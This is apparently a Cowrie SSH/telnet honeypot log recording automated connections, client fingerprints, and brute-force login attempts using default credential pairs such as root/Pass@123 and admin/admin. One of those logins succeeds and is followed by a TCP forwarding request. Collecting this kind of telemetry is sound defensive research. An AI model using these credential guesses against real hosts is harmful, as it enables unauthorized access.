{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:44.921673Z","src_ip":"45.156.87.254","session":"c25d1f063bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:45.170307Z","src_ip":"45.156.87.254","session":"c25d1f063bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:46.384910Z","src_ip":"45.156.87.254","session":"c25d1f063bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37826,"dst_ip":"159.203.135.109","dst_port":22,"session":"46e874df430c","protocol":"ssh","message":"New connection: 45.156.87.254:37826 (159.203.135.109:22) [session: 46e874df430c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:49.900302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:49.906146Z","src_ip":"45.156.87.254","session":"46e874df430c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:49.988476Z","src_ip":"45.156.87.254","session":"46e874df430c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:50.245891Z","src_ip":"45.156.87.254","session":"46e874df430c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:51.393272Z","src_ip":"45.156.87.254","session":"46e874df430c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37858,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe9476ba3c20","protocol":"ssh","message":"New connection: 45.156.87.254:37858 (159.203.135.109:22) [session: fe9476ba3c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:55.041930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:55.055570Z","src_ip":"45.156.87.254","session":"fe9476ba3c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:55.147942Z","src_ip":"45.156.87.254","session":"fe9476ba3c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:55.406880Z","src_ip":"45.156.87.254","session":"fe9476ba3c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:56.496318Z","src_ip":"45.156.87.254","session":"fe9476ba3c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43366,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3a7df81fcf7","protocol":"telnet","message":"New connection: 20.123.41.163:43366 (10.17.0.5:23) [session: a3a7df81fcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:59.954195Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":33024,"dst_ip":"159.203.135.109","dst_port":22,"session":"8244cc21c019","protocol":"ssh","message":"New connection: 45.156.87.254:33024 (159.203.135.109:22) [session: 8244cc21c019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:00.220510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:00.226038Z","src_ip":"45.156.87.254","session":"8244cc21c019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:00.310359Z","src_ip":"45.156.87.254","session":"8244cc21c019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:00.564638Z","src_ip":"45.156.87.254","session":"8244cc21c019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:01.867548Z","src_ip":"45.156.87.254","session":"8244cc21c019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41992,"dst_ip":"10.17.0.5","dst_port":23,"session":"48d2d0f568b7","protocol":"telnet","message":"New connection: 104.245.105.2:41992 (10.17.0.5:23) [session: 48d2d0f568b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:04.697628Z"}
{"eventid":"cowrie.session.closed","duration":5.040263414382935,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:04.994333Z","src_ip":"20.123.41.163","session":"a3a7df81fcf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":33048,"dst_ip":"159.203.135.109","dst_port":22,"session":"a355ab0cd70e","protocol":"ssh","message":"New connection: 45.156.87.254:33048 (159.203.135.109:22) [session: a355ab0cd70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:05.681827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:05.688785Z","src_ip":"45.156.87.254","session":"a355ab0cd70e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:05.773751Z","src_ip":"45.156.87.254","session":"a355ab0cd70e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:06.202561Z","src_ip":"45.156.87.254","session":"a355ab0cd70e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:07.437874Z","src_ip":"45.156.87.254","session":"a355ab0cd70e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37524,"dst_ip":"159.203.135.109","dst_port":22,"session":"8add986ae579","protocol":"ssh","message":"New connection: 45.156.87.254:37524 (159.203.135.109:22) [session: 8add986ae579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:11.063972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:11.069710Z","src_ip":"45.156.87.254","session":"8add986ae579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:11.157068Z","src_ip":"45.156.87.254","session":"8add986ae579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:11.420678Z","src_ip":"45.156.87.254","session":"8add986ae579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25628,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2c389624827","protocol":"ssh","message":"New connection: 87.251.64.176:25628 (10.17.0.5:22) [session: b2c389624827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:12.261840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:12.266090Z","src_ip":"87.251.64.176","session":"b2c389624827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:12.361883Z","src_ip":"87.251.64.176","session":"b2c389624827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:12.630798Z","src_ip":"45.156.87.254","session":"8add986ae579","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:12.651484Z","src_ip":"87.251.64.176","session":"b2c389624827","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:12.751075Z","session":"b2c389624827","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:12.849595Z","src_ip":"87.251.64.176","session":"b2c389624827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:12.950176Z","src_ip":"87.251.64.176","session":"b2c389624827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":56678,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f24cf56a360","protocol":"telnet","message":"New connection: 20.123.41.163:56678 (10.17.0.5:23) [session: 6f24cf56a360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:15.041777Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37538,"dst_ip":"159.203.135.109","dst_port":22,"session":"70acfb6cbfb4","protocol":"ssh","message":"New connection: 45.156.87.254:37538 (159.203.135.109:22) [session: 70acfb6cbfb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:16.304104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:16.310404Z","src_ip":"45.156.87.254","session":"70acfb6cbfb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:16.405227Z","src_ip":"45.156.87.254","session":"70acfb6cbfb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:16.677422Z","src_ip":"45.156.87.254","session":"70acfb6cbfb4","protocol":"ssh"}
